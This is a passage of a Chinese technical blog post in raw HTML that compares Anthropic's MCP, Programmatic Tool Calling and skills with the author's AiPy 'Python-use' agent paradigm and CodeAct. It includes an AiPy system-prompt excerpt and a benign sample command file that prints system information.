leaf="">随后在Nov 24, 2025发布的：</span></p><blockquote><p><span leaf="">Introducing advanced tool use on the Claude Developer Platform <a href="https://www.anthropic.com/engineering/advanced-tool-use" target="_blank">https://www.anthropic.com/engineering/advanced-tool-use</a></span></p></blockquote><p><span leaf="">文章里正式提出了“Programmatic Tool Calling” 这个概念，在“Code execution with MCP”发布后，引发了大量的关注及吹嘘。当然也有熟悉我们的朋友，知道我们做了AiPy是基于Python-use（Code-use）范式的Agent，所以当时就有很多个朋友看到Anthropic文章转发给我看，我在朋友圈也说了我看到“Code execution with MCP”第一感受就是：：“anthropic自己说MCP是 &#39;脱裤子放屁&#39;了”。</span></p><p><span leaf="">我其实算是关注并实践并推荐MCP很早的一批人了，直到我们提出Python-use范式，在 <a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484350&amp;idx=1&amp;sn=597466021965564fe0b88789ec36e7f2&amp;scene=21#wechat_redirect" textvalue="【Agents/MCP可能不存在了】No Agents, Just Python-use！" data-itemshowtype="0" linktype="text" data-linktype="2">《【Agents/MCP可能不存在了】No Agents, Just Python-use！》</a> 文章里提到了“路线问题”，在我看来现在Anthropic提出的“Code execution with MCP”到“Programmatic Tool Calling”在某种角度上也算是一个路线的修正，当然他们这个修正的主要目的其实还是在于多MCP多工具后引起的上下文爆炸的问题，在这个角度上看这个属于“上下文工程”范畴，只是Anthropic的解决方案最终还是回归到“Code execution”上：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000787" data-ratio="0.759375" data-s="300,640" type="block" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=bad3ae83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusy8kZXCv4JQzzGXAH3EuExDsGwicX03sYEaw1fkiar9w38sJy40LQat1u1QaNX7N6MQY0d7bXRSRzJg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">在Anthropic的路线：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf="">MCP <span class="code-snippet__comment">--&gt; Code execution with MCP --&gt; Programmatic Tool Calling</span></span></code></pre></p><p><span leaf="">看起来这个是Anthropic自我进化（修正）的路线，有完整的逻辑及因果关联，但是如果你脱离这个Anthropic路线逻辑本身来看，在从MCP这个路线设计之初就决定了他这个路线的是曲折、“臃肿”的。</span></p><p><span leaf="">而Python-use的范式就显得直接明了，更符合第一性原理。</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000722" class="rich_pages wxw-img" data-ratio="0.8693957115009746" data-s="300,640" data-type="png" data-w="1026" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=5a9ba78a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxjtVra6Nlvaq4Klef1GDdI5ZfQMLIyOy4bebXID4fj2PmDvVictehFqZGPiaXwOaLLibzaNEzibe5llw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">（所以为什么我一直喜欢这个用户评价）</span></p><p><span leaf="">在Anthropic在提出Programmatic Tool Calling时候提到的挑战：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000788" data-ratio="1.2796296296296297" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b289bb62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusy8kZXCv4JQzzGXAH3EuExDR1w3LaT999VMRpbR5hSD6c8X6gqJGndmgk00aqXAOp8hew9z2EBGQQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">提到的分析10M日志的场景，而这个场景其实就是我们AiPy诞生初衷，详见“英雄LGX拯救AI章鱼的故事”：</span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484350&amp;idx=1&amp;sn=597466021965564fe0b88789ec36e7f2&amp;scene=21#wechat_redirect" textvalue="【Agents/MCP可能不存在了】No Agents, Just Python-use！" data-itemshowtype="0" linktype="text" data-linktype="2">【Agents/MCP可能不存在了】No Agents, Just Python-use！</a></span></p><p><span leaf="">这种本地数据分析处理的场景也是AiPy最早备受推荐的场景之一，当然这个可能大家更多的是认为这个是本地环境导致的，而Manus那种云端受限于环境是没办法处理的，而现在Anthropic有推出Claude Code后（AiPy的出现是在Claude Code发布之前）开始关注这种本地诉求，而导致出现的上下文爆炸的事情，所以这个也是“Code execution”带来的好处之一。</span></p><p><span leaf="">这其实是个“路线问题”，这是Python-use（Code-use）范式与Anthropic的路线在诞生之初就决定了的... 看起来都有着他们的逻辑自洽性。</span></p><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">CodeAct</span></span></p><p><span leaf="">在我们提出Python-use范式后，10月份有朋友在我<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484350&amp;idx=1&amp;sn=597466021965564fe0b88789ec36e7f2&amp;scene=21#wechat_redirect" textvalue="【Agents/MCP可能不存在了】No Agents, Just Python-use！" data-itemshowtype="0" linktype="text" data-linktype="2">《【Agents/MCP可能不存在了】No Agents, Just Python-use！》</a> 文章里留言提到CodeAct这个项目：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000789" data-ratio="0.5351851851851852" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a0f02197&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusy8kZXCv4JQzzGXAH3EuExDwNx6oH5O8baDJHLuibibck592NPD0icywCdUsOInEvnIvibAo0B9yRAWiag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">CodeAct的论文：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__title">Executable</span> <span class="code-snippet__title">Code</span> <span class="code-snippet__title">Actions</span> <span class="code-snippet__title">Elicit</span> <span class="code-snippet__title">Better</span> <span class="code-snippet__variable">LLM</span> <span class="code-snippet__title">Agents</span> </span></code><br/><code><span leaf=""><span class="code-snippet__attr">https</span>:<span class="code-snippet__comment">//arxiv.org/html/2402.01030v4</span></span></code><br/><code><span leaf=""><span class="code-snippet__attr">https</span>:<span class="code-snippet__comment">//github.com/xingyaoww/code-act</span></span></code><br/></pre></p><p><span leaf="">后面我回溯了下，我们留意到CodeAct应该是在今年4月份（AiPy是在3月开始的），说实话当时没有太大的共鸣，因为那时候在AiPy的推广初期，我把关注点放在了“No Agents/No Tools”上了，但是CodeAct使用的还是多Tools模式（Funciton），随着AiPy的推广，我们收到了来自内部和外部的各种反馈，其中反馈最多的就是LLM生成代码的稳定性及代码复用的问题，比如我要查询“北京”的天气，然后我要继续查询“益阳”的天气，AiPy每次得重新生成代码，每次实现的技术栈可能还不一样，所以就导致了Python-use在这些简单的单一任务上不稳定性（同时也看起来是一种token得浪费）而带来的质疑，这个问题我在<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484380&amp;idx=1&amp;sn=cd6f91d7432b3392cc79c81f5187d467&amp;scene=21#wechat_redirect" textvalue="AI Agent真正落地的关键：大模型与环境数据的无限扩展能力" data-itemshowtype="0" linktype="text" data-linktype="2">《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》</a> 一文中的「Python-Use范式 “劣势”」有提到 ，当然我也提到了提过“Packages Calling”、“角色市场”+ “API市场” +“插件市场”的方式去实现稳定新问题。</span></p><p><span leaf="">在随后在10月份我写的《<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484432&amp;idx=1&amp;sn=08f9bc756097a23e7add75ed2460b8ff&amp;scene=21#wechat_redirect" textvalue="Code是AI的手：姚顺雨访谈与Python-Use范式的对话" data-itemshowtype="0" linktype="text" data-linktype="2">Code是AI的手：姚顺雨访谈与Python-Use范式的对话》</a> 一文也提到了「可靠性 与 创造性」的问题：</span></p><blockquote><p><span leaf="">我们甚至发明了一个“Python Function Calling（PFC）”的机制，当然这个在我的理解里还是所有“Python Packages Calling”的范畴，传统的Function Calling是基于OpenAI的格式，使用JSON的方式去调用，而基于Python-Use下的仍然是依靠大模型直接去调用实现部署注册好的Function。具体放在插件部分调用了（注意这个部分目前CUI是不支持的），具体工具的实现代码，你可以在/plugins/目录下找到，你也可以自己注册开发对应的工具。</span></p></blockquote><p><span leaf="">这个时候我重新找并阅读了CodeAct的项目的论文及代码，从论文来看CodeAct强调并解决的是“Code as Actions”这个跟我们Python-use范式提出的“Code is Agent”完全是一致的，这个其实也是这个论文的核心观点：“代码就是标准，代码就是行动”，论文明确对比传统的JSON/Text的方式有明显的优势：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000790" data-ratio="0.7564814814814815" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4bee121e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusy8kZXCv4JQzzGXAH3EuExDXABAj3k2LEgIT7anS1dCtF940GqNCXhj7z738R6M60JauE2VrnXMvA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">从上面我们提到了与我们最早Python-use范式最大的区别点在于：“No Agents/No Tools”，所以CodeAct是通过事先编写注册对应的功能函数来实现Tools，其实这个是最早OpenAI的Function Calling --&gt; MCP --&gt; PTC(Programmatic Tool Calling) 都是事先由开发者写好对应的功能函数后交给LLM调用，但是这个调用方式有一个区别：</span></p><p><span leaf="">Function Calling --&gt; MCP --&gt; PTC 使用的JSON去实现Calling，而CodeAct及Python-use是直接LLM直接生成并调用对应函数的代码。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000797" data-ratio="0.5574074074074075" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=eecbd014&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusy8kZXCv4JQzzGXAH3EuExDGicMNicTdQJEyPOZwl3AoKJ5OdUH4z5XnA3jKOoqrduKPR1YHBltXmicQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">所以在这个角度上看Programmatic Tool Calling最终回归到了CodeAct，唯一的区别在于Anthropic还在使用MCP路线遗留的JSON。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000798" data-ratio="0.8027777777777778" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3e1e062d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusy8kZXCv4JQzzGXAH3EuExDYJwkbePJRnl136ktxSY6J1ic1Dw4ROjjCDoHzzCJjANV5Ju9DTZZ6GQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="perl"><code><span leaf="">https:<span class="code-snippet__regexp">//</span>www.anthropic.com/engineering/advanced-tool-<span class="code-snippet__keyword">use</span></span></code></pre></p><p><span leaf="">这个问题其实在本质上还是上面提到的「可靠性 与 创造性」的问题，显然Python-use的范式的创造性，也就是我们反复强调的与环境沟通的可扩展性灵活性是，当然同时带来的就是稳定性问题，我记得当时在跟我们内部同事沟通的时候说：这个不确定性恰恰是我们Python-use范式是的优势！</span></p><p><span leaf="">作为一个技术范式，它肯定是有它的技术兼容性的，对于先阶段稳定性的诉求，Python-use的范式是完全兼容的：</span></p><p><span leaf="">Python-use 范式 = API Calling + Python Packages Calling + Python解释器 = “万物互联” + “万物编程” + “万境直通”</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000791" data-ratio="0.5611111111111111" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f1fd2652&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusy8kZXCv4JQzzGXAH3EuExDasoDaPWhP3Kf3pKibibNeO0QTbicRBDdup9orZQK854nib6W9zndkZyF5Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">上面提到了我们实现的“Python Function Calling（PFC）”可能用“Python-use Function Calling（PFC）” 更好理解，是源于“Python Packages Calling”的设计的扩展，这个设计最早AiPy的核心中runtime对象（现在代码可能有变化）在某个角度也就是Packages Calling，比如runtime.install_packages()用来安装包，在我们的早期版本的系统提示词里可以看到这些包函数的调用说明：</span></p><blockquote><p><span leaf="">## 全局 `runtime` 对象</span></p><p><span leaf="">`runtime` 对象提供一些协助代码完成任务的方法。</span></p><p><span leaf="">......</span></p><p><span leaf="">### `runtime.install_packages` 方法</span></p><p><span leaf="">- 功能: 申请安装完成任务必需的额外模块</span></p><p><span leaf="">- 参数: 一个或多个 PyPi 包名，如：&#39;httpx&#39;, &#39;requests&gt;=2.25&#39;</span></p><p><span leaf="">- 返回值: True 表示成功，False 表示失败</span></p><p><span leaf="">示例如下：</span></p><p><span leaf="">```python</span></p><p><span leaf="">if runtime.install_packages(&#39;httpx&#39;, &#39;requests&gt;=2.25&#39;):</span></p><p><span leaf="">    import datasets</span></p><p><span leaf="">```</span></p><p><span leaf="">......</span></p></blockquote><p><span leaf="">而“Python-use Function Calling（PFC）”的做法是开放了这个接口给用户，本质上还是属于“Python Packages Calling”的范畴，在这个角度上看“Python-use Function Calling（PFC）”实际上就相当于是一个CodeAct。</span></p><p><span leaf="">所以Python-use的范式是兼容工具函数定义的，只是MCP、PTC、PFC、CodeAct都有一个问题：需要实现定义，依赖开发者的开发，换句话说没有开发者的支持，如果没有对应的工具，用户就没办法去让模型在环境中执行起来，大家可能日常用到的工具可能就那么几个，但是专业场景呢？当然以我比较恶心的揣测，开发者是乐意去接受用户的这种跪求的！？</span></p><p><span leaf="">对于Python-use Function Calling (PFC) 的具体实现可以参考：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ruby"><code><span leaf=""><span class="code-snippet__symbol">https:</span>/<span class="code-snippet__regexp">/github.com/knownsec/aipyapp/blob/main/aipyapp/plugins/p</span>_web_tools.py</span></code></pre></p><p><span leaf="">在AiPy的Cli版本下可以通过/plugin查看</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf="">&gt;&gt; /plugin</span></code><br/><code><span leaf="">                                                        Available Plugins</span></code><br/><code><span leaf="">┏━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━┓</span></code><br/><code><span leaf="">┃    Name    ┃                                     Description                                      ┃ Type ┃ Version ┃  Author   ┃</span></code><br/><code><span leaf="">┡━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━┩</span></code><br/><code><span leaf="">│ web_tools  │ Web Tools - Provides web <span class="code-snippet__attribute">page</span> scraping, URL analysis, and HTTP request capabilities. │ TASK │  <span class="code-snippet__number">1.0</span>.<span class="code-snippet__number">0</span>  │ AiPy Team │</span></code><br/><code><span leaf="">├────────────┼──────────────────────────────────────────────────────────────────────────────────────┼──────┼─────────┼───────────┤</span></code><br/><code><span leaf="">│ image_tool │          <span class="code-snippet__selector-tag">Image</span> Tool - Provides <span class="code-snippet__selector-tag">image</span> recognition and analysis capabilities.          │ TASK │  <span class="code-snippet__number">1.0</span>.<span class="code-snippet__number">0</span>  │ AiPy Team │</span></code><br/><code><span leaf="">└────────────┴──────────────────────────────────────────────────────────────────────────────────────┴──────┴─────────┴───────────┘</span></code><br/></pre></p><p><span leaf="">在这里我需要强调的是，PFC是依托的Python Packages Calling，这只是这个来强调我们Python-use作为一个Agent实现范式的兼容性，而我一直认为：<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484380&amp;idx=1&amp;sn=cd6f91d7432b3392cc79c81f5187d467&amp;scene=21#wechat_redirect" textvalue="AI Agent真正落地的关键：大模型与环境数据的无限扩展能力" data-itemshowtype="0" linktype="text" data-linktype="2">大模型与环境数据的无限扩展能力才是AI Agent真正落地的关键</a>  </span></p><p><span leaf="">从Agent开发角度，当Agent与环境交互中的“环境数据”（可以理解为“私有数据”），最后落地其实还是在于“上下文工程”上，Anthropic的PTC其实从这个角度上看也还是围绕“上下文工程”去做的修正！</span></p><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">skills</span></span></p><p><span leaf="">这个本应该不属于今天文章的范畴的，只是在2025年10月16 Anthropic发布skills </span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf="">https:<span class="code-snippet__operator">//</span>www.anthropic.com<span class="code-snippet__operator">/</span>engineering<span class="code-snippet__operator">/</span>equipping<span class="code-snippet__operator">-</span>agents<span class="code-snippet__operator">-</span><span class="code-snippet__keyword">for</span><span class="code-snippet__operator">-</span>the<span class="code-snippet__operator">-</span><span class="code-snippet__type">real</span><span class="code-snippet__operator">-</span>world<span class="code-snippet__operator">-</span><span class="code-snippet__keyword">with</span><span class="code-snippet__operator">-</span>agent<span class="code-snippet__operator">-</span>skills</span></code></pre></p><p><span leaf="">后，很多人觉得这个是Anthropic是用来取代MCP，因为skills 不在是纯粹的提示词，而是加入了“code execution”，也就是在对应的skills文件夹里可以包含预设的代码并执行，在某种角度上看用户可以通过Claude Code直接通过skills来完成很多之前可能需要MCP来完成的工作，我觉得这个是一种误解，如果你熟悉了解一些Agent的开发，从Claude code的开发角度可能更加容易理解，有很多的方式可以完成相同的工作，本质其实还是提示词工程，比如我们的AiPy CLi你可以通过插件、或者角色或者单纯的API描叙都能让模型去开发实现某个功能。</span></p><p><span leaf="">在我看来skills更像claude code 的Custom slash commands </span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ruby"><code><span leaf=""><span class="code-snippet__symbol">https:</span>/<span class="code-snippet__regexp">/code.claude.com/docs/en/slash</span>-commands</span></code></pre></p><p><span leaf="">的进化，在8月初我们在实现Python-use Function Calling (PFC)后看到了slash-commands 使用的是md，实际上对这个md选择还是很有讲究的，我们之前在AiPy的实现里纠结过很久，当看到slash-commands后，还是很受启发的，于是我们的章鱼英雄lgx再次出手，实现了AiPy Cli的commands 功能 </span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ruby"><code><span leaf=""><span class="code-snippet__symbol">https:</span>/<span class="code-snippet__regexp">/github.com/knownsec/aipyapp/blob/main/dev/UserCommand.md</span></span></code></pre></p><p><span leaf="">我记得当时lgx在实现AiPy cli的自定义命令功能后，小激动了一把：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000792" data-ratio="0.36018518518518516" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f98b5af4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusy8kZXCv4JQzzGXAH3EuExDZoSicr0pBibLCPmic0aQlXtAtRKatOBfTkEA3rTA6IicwnPKMcejnCWf2A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">随即我体验了一把，非常丝滑，最大的两个特点：</span></p><p><span leaf="">一、模板渲染: 使用 Jinja2 模板引擎处理动态内容</span></p><p><span leaf="">支持Jinja2意味着可以各种动态处理提示词中的各种内容实现“可编程”</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000793" data-ratio="0.8185185185185185" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c7f6db32&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusy8kZXCv4JQzzGXAH3EuExDAlTCLlOFGXTGmDVFku1ia7CiakJBtUGQUtKXTYIzA064VnYGETKDicKwg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">最重要的还支持</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf="">{% <span class="code-snippet__keyword">include</span> <span class="code-snippet__string">&#34;common.md&#34;</span> %}</span></code></pre></p><p><span leaf="">这意味着可以相互命令可以相互嵌套调用，</span><span leaf="">而且还支持AiPy内部函数变量的调用：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf="">Current LLM: {{ctx<span class="code-snippet__selector-class">.tm.get_status</span>()<span class="code-snippet__selector-class">.client</span>}}</span></code></pre></p><p><span leaf="">二、代码块执行: 支持 Python、Bash/Shell 代码块执行（MAIN 模式）</span></p><p><span leaf="">这个可以算是又一个我们创新的方式，直接在md里支持本地代码标记并执行</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000794" data-ratio="0.7379629629629629" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6f15b5f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusy8kZXCv4JQzzGXAH3EuExDL8SZkb4VSe6PwtgQodlA2dicpKOzkLcVVPqwlibgWOa0CpXOR9t9yJGw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">这是不是让你想起了上面提到的skills，是的没错AiPy在8月中旬就已经实现了对代码执行的支持（比skills早2个月），当然这个并不能说明什么，代码标记实际上在skills的设计中显得有的突兀的，当然skill本事是个文件夹，支持各种资源文件包括代码文件，这一点确实是值得学习的</span></p><p><span leaf="">具体测试大家可以把 </span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ruby"><code><span leaf=""><span class="code-snippet__symbol">https:</span>/<span class="code-snippet__regexp">/github.com/knownsec/aipyapp/tree/main/examples/commands</span></span></code></pre></p><p><span leaf="">commands目录 cp 到</span><span leaf="">~/.aipyapp/commands/ </span></p><p><span leaf="">比如下面的 system_info.md 代码，然后保存到</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">~/.aipyapp/commands/下</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf="">---</span></code><br/><code><span leaf="">name: <span class="code-snippet__string">&#34;sysinfo&#34;</span></span></code><br/><code><span leaf="">description: <span class="code-snippet__string">&#34;Display comprehensive system information&#34;</span></span></code><br/><code><span leaf="">modes: [<span class="code-snippet__string">&#34;main&#34;</span>]</span></code><br/><code><span leaf="">arguments:</span></code><br/><code><span leaf="">  - name: <span class="code-snippet__string">&#34;--detail&#34;</span></span></code><br/><code><span leaf="">    <span class="code-snippet__built_in">type</span>: <span class="code-snippet__string">&#34;flag&#34;</span></span></code><br/><code><span leaf="">    <span class="code-snippet__built_in">help</span>: <span class="code-snippet__string">&#34;Show detailed information&#34;</span></span></code><br/><code><span leaf="">---</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># System Information</span></span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__comment">## Current Configuration</span></span></code><br/><code><span leaf="">- **Working Directory**: {{ctx.tm.get_status().workdir}}</span></code><br/><code><span leaf="">- **Current LLM**: {{ctx.tm.get_status().client}}</span></code><br/><code><span leaf="">- **Current Role**: {{ctx.tm.get_status().role}}</span></code><br/><code><span leaf="">- **Display Style**: {{ctx.tm.get_status().display}}</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">{% <span class="code-snippet__keyword">if</span> detail %}</span></code><br/><code><span leaf=""><span class="code-snippet__comment">## Detailed System Status</span></span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">````python</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">import</span> sys</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">import</span> os</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">from</span> pathlib <span class="code-snippet__keyword">import</span> Path</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># System information</span></span></code><br/><code><span leaf=""><span class="code-snippet__built_in">print</span>(<span class="code-snippet__string">&#34;## System Details&#34;</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__built_in">print</span>(<span class="code-snippet__string">f&#34;- Python Version: </span><span class="code-snippet__string"><span class="code-snippet__subst">{sys.version}</span></span><span class="code-snippet__string">&#34;</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__built_in">print</span>(<span class="code-snippet__string">f&#34;- Python Executable: </span><span class="code-snippet__string"><span class="code-snippet__subst">{sys.executable}</span></span><span class="code-snippet__string">&#34;</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__built_in">print</span>(<span class="code-snippet__string">f&#34;- Platform: </span><span class="code-snippet__string"><span class="code-snippet__subst">{sys.platform}</span></span><span class="code-snippet__string">&#34;</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__built_in">print</span>(<span class="code-snippet__string">f&#34;- Current User: </span><span class="code-snippet__string"><span class="code-snippet__subst">{os.getenv(</span></span><span class="code-snippet__string"><span class="code-snippet__subst"><span class="code-snippet__string">&#39;USER&#39;</span></span></span><span class="code-snippet__string"><span class="code-snippet__subst">, </span></span><span class="code-snippet__string"><span class="code-snippet__subst"><span class="code-snippet__string">&#39;unknown&#39;</span></span></span><span class="code-snippet__string"><span class="code-snippet__subst">)}</span></span><span class="code-snippet__string">&#34;</span>)</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># Directory information</span></span></code><br/><code><span leaf="">cwd = Path.cwd()</span></code><br/><code><span leaf=""><span class="code-snippet__built_in">print</span>(<span class="code-snippet__string">f&#34;- Current Directory: </span><span class="code-snippet__string"><span class="code-snippet__subst">{cwd}</span></span><span class="code-snippet__string">&#34;</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__built_in">print</span>(<span class="code-snippet__string">f&#34;- Home Directory: </span><span class="code-snippet__string"><span class="code-snippet__subst">{Path.home()}</span></span><span class="code-snippet__string">&#34;</span>)</span></code><br/><code></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># Task statistics</span></span></code><br/><code><span leaf="">tasks = ctx.tm.get_tasks()</span></code><br/><code><span leaf=""><span class="code-snippet__built_in">print</span>(<span class="code-snippet__string">f&#34;\n## Task Statistics&#34;</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__built_in">print</span>(<span class="code-snippet__string">f&#34;- Total Tasks: </span><span class="code-snippet__string"><span class="code-snippet__subst">{</span></span><span class="code-snippet__string"><span class="code-snippet__subst"><span class="code-snippet__built_in">len</span></span></span><span class="code-snippet__string"><span class="code-snippet__subst">(tasks)}</span></span><span class="code-snippet__string">&#34;</span>)</span></code><br/><code><span leaf="">````</span></code><br/><code><span leaf="">{% endif %}</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">---</span></code><br/><code><span leaf="">*Use `--detail` flag <span class="code-snippet__keyword">for</span> comprehensive system information*</span></code><br/></pre></p><p><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">重新进入AiPy Cli的主任务界面通过/ 就可以调用了：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf=""><span class="code-snippet__operator">&gt;&gt;</span> <span class="code-snippet__operator">/</span>sysinfo <span class="code-snippet__comment">--detail</span></span></code><br/><code><span 